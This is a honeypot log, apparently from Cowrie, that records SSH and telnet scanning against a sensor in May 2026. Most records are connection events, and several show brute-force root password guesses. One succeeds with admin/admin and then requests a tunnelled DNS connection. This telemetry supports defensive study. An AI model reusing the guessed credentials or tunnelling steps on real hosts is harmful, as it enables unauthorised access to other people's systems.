{"eventid":"cowrie.session.closed","duration":46.94675302505493,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:48:16.722119Z","src_ip":"152.42.224.71","session":"626ab14a5e7f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"213.108.3.46","src_port":38964,"dst_ip":"159.203.135.109","dst_port":23,"session":"7f28e47b8315","protocol":"telnet","message":"New connection: 213.108.3.46:38964 (159.203.135.109:23) [session: 7f28e47b8315]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:48:20.288341Z"}
{"eventid":"cowrie.session.closed","duration":0.05968594551086426,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:48:20.347825Z","src_ip":"213.108.3.46","session":"7f28e47b8315","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":35180,"dst_ip":"10.17.0.5","dst_port":23,"session":"1bd59570c5c4","protocol":"telnet","message":"New connection: 152.42.224.71:35180 (10.17.0.5:23) [session: 1bd59570c5c4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:48:21.585636Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":35192,"dst_ip":"10.17.0.5","dst_port":23,"session":"daa0ee189e53","protocol":"telnet","message":"New connection: 152.42.224.71:35192 (10.17.0.5:23) [session: daa0ee189e53]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:48:23.070502Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":35204,"dst_ip":"10.17.0.5","dst_port":23,"session":"25e1a95cd1c7","protocol":"telnet","message":"New connection: 152.42.224.71:35204 (10.17.0.5:23) [session: 25e1a95cd1c7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:48:24.101433Z"}
{"eventid":"cowrie.session.closed","duration":48.320733308792114,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:48:30.755250Z","src_ip":"152.42.224.71","session":"3fd767101527","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.75987362861633,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:48:31.271496Z","src_ip":"152.42.224.71","session":"3a95ae6431b2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":29.33470129966736,"message":"Connection lost after 29 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:48:32.353556Z","src_ip":"152.42.224.71","session":"5ddea9155680","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":58.179969787597656,"message":"Connection lost after 58 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:48:37.683546Z","src_ip":"152.42.224.71","session":"bb6343a4c994","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"191.96.110.121","src_port":35414,"dst_ip":"159.203.135.109","dst_port":22,"session":"78ec0749eeca","protocol":"ssh","message":"New connection: 191.96.110.121:35414 (159.203.135.109:22) [session: 78ec0749eeca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:48:37.986339Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:48:38.193895Z","src_ip":"191.96.110.121","session":"78ec0749eeca","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:48:38.284403Z","src_ip":"191.96.110.121","session":"78ec0749eeca","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"charlie123","message":"login attempt [root/charlie123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:48:42.200765Z","src_ip":"191.96.110.121","session":"78ec0749eeca","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.3","message":"Connection lost after 5.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:48:43.291523Z","src_ip":"191.96.110.121","session":"78ec0749eeca","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":54.84396982192993,"message":"Connection lost after 54 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:48:43.878764Z","src_ip":"152.42.224.71","session":"02f98a5d3991","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":44.26501441001892,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:48:46.841362Z","src_ip":"152.42.224.71","session":"0debeb43f5e6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":50170,"dst_ip":"10.17.0.5","dst_port":23,"session":"32b5867f19b7","protocol":"telnet","message":"New connection: 152.42.224.71:50170 (10.17.0.5:23) [session: 32b5867f19b7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:48:56.045689Z"}
{"eventid":"cowrie.session.closed","duration":111.5321912765503,"message":"Connection lost after 111 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:49:03.720715Z","src_ip":"152.42.224.71","session":"46dc483a7cf6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.27.238.116","src_port":43190,"dst_ip":"159.203.135.109","dst_port":22,"session":"93774df64390","protocol":"ssh","message":"New connection: 103.27.238.116:43190 (159.203.135.109:22) [session: 93774df64390]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:49:08.528268Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:49:08.533191Z","src_ip":"103.27.238.116","session":"93774df64390","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:49:08.797994Z","src_ip":"103.27.238.116","session":"93774df64390","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"q1w2e3r","message":"login attempt [root/q1w2e3r] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:49:09.592377Z","src_ip":"103.27.238.116","session":"93774df64390","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:49:10.861706Z","src_ip":"103.27.238.116","session":"93774df64390","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"68.183.236.1","src_port":44726,"dst_ip":"159.203.135.109","dst_port":22,"session":"207f06d2adca","protocol":"ssh","message":"New connection: 68.183.236.1:44726 (159.203.135.109:22) [session: 207f06d2adca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:49:10.969592Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:49:10.974243Z","src_ip":"68.183.236.1","session":"207f06d2adca","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":38958,"dst_ip":"10.17.0.5","dst_port":23,"session":"d6158e881cd2","protocol":"telnet","message":"New connection: 152.42.224.71:38958 (10.17.0.5:23) [session: d6158e881cd2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:49:11.231210Z"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:49:11.235503Z","src_ip":"68.183.236.1","session":"207f06d2adca","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"night123","message":"login attempt [root/night123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:49:12.284633Z","src_ip":"68.183.236.1","session":"207f06d2adca","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":38974,"dst_ip":"10.17.0.5","dst_port":23,"session":"f9fd59f93536","protocol":"telnet","message":"New connection: 152.42.224.71:38974 (10.17.0.5:23) [session: f9fd59f93536]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:49:12.289604Z"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:49:13.541181Z","src_ip":"68.183.236.1","session":"207f06d2adca","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.27.238.120","src_port":58980,"dst_ip":"159.203.135.109","dst_port":22,"session":"db096ee402ca","protocol":"ssh","message":"New connection: 103.27.238.120:58980 (159.203.135.109:22) [session: db096ee402ca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:49:14.322203Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:49:14.327069Z","src_ip":"103.27.238.120","session":"db096ee402ca","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":38982,"dst_ip":"10.17.0.5","dst_port":23,"session":"14742bbe347d","protocol":"telnet","message":"New connection: 152.42.224.71:38982 (10.17.0.5:23) [session: 14742bbe347d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:49:14.382447Z"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:49:14.607232Z","src_ip":"103.27.238.120","session":"db096ee402ca","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"merlin","message":"login attempt [root/merlin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:49:15.461296Z","src_ip":"103.27.238.120","session":"db096ee402ca","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:49:16.739125Z","src_ip":"103.27.238.120","session":"db096ee402ca","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":55.9736053943634,"message":"Connection lost after 55 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:49:20.074923Z","src_ip":"152.42.224.71","session":"25e1a95cd1c7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":46968,"dst_ip":"10.17.0.5","dst_port":22,"session":"7fa7b0ff79b0","protocol":"ssh","message":"New connection: 87.251.64.176:46968 (10.17.0.5:22) [session: 7fa7b0ff79b0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:49:23.815366Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:49:23.820099Z","src_ip":"87.251.64.176","session":"7fa7b0ff79b0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:49:23.916731Z","src_ip":"87.251.64.176","session":"7fa7b0ff79b0","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:49:24.204791Z","src_ip":"87.251.64.176","session":"7fa7b0ff79b0","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:49:24.308220Z","session":"7fa7b0ff79b0","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:49:24.405751Z","src_ip":"87.251.64.176","session":"7fa7b0ff79b0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:49:24.637573Z","src_ip":"87.251.64.176","session":"7fa7b0ff79b0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":45046,"dst_ip":"10.17.0.5","dst_port":23,"session":"66bb30d6acc2","protocol":"telnet","message":"New connection: 152.42.224.71:45046 (10.17.0.5:23) [session: 66bb30d6acc2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:49:34.902103Z"}
{"eventid":"cowrie.session.closed","duration":42.39534521102905,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:49:38.440905Z","src_ip":"152.42.224.71","session":"32b5867f19b7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.22777771949768,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:49:41.458821Z","src_ip":"152.42.224.71","session":"d6158e881cd2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.56643557548523,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:49:45.948776Z","src_ip":"152.42.224.71","session":"14742bbe347d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":49890,"dst_ip":"10.17.0.5","dst_port":23,"session":"dbac39a3b7a7","protocol":"telnet","message":"New connection: 152.42.224.71:49890 (10.17.0.5:23) [session: dbac39a3b7a7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:49:48.082090Z"}
{"eventid":"cowrie.session.closed","duration":40.19246053695679,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:49:52.481995Z","src_ip":"152.42.224.71","session":"f9fd59f93536","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":39250,"dst_ip":"10.17.0.5","dst_port":23,"session":"5eb649d11d4f","protocol":"telnet","message":"New connection: 152.42.224.71:39250 (10.17.0.5:23) [session: 5eb649d11d4f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:50:08.143955Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":39262,"dst_ip":"10.17.0.5","dst_port":23,"session":"9b99be1d5104","protocol":"telnet","message":"New connection: 152.42.224.71:39262 (10.17.0.5:23) [session: 9b99be1d5104]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:50:11.031757Z"}
{"eventid":"cowrie.session.closed","duration":120.00135803222656,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:50:11.150916Z","src_ip":"152.42.224.71","session":"19bc30b001df","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":40.71761703491211,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:50:15.619609Z","src_ip":"152.42.224.71","session":"66bb30d6acc2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":45248,"dst_ip":"10.17.0.5","dst_port":23,"session":"8aa4340cc1a3","protocol":"telnet","message":"New connection: 152.42.224.71:45248 (10.17.0.5:23) [session: 8aa4340cc1a3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:50:17.434492Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":45256,"dst_ip":"10.17.0.5","dst_port":23,"session":"55862c81cace","protocol":"telnet","message":"New connection: 152.42.224.71:45256 (10.17.0.5:23) [session: 55862c81cace]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:50:20.179627Z"}
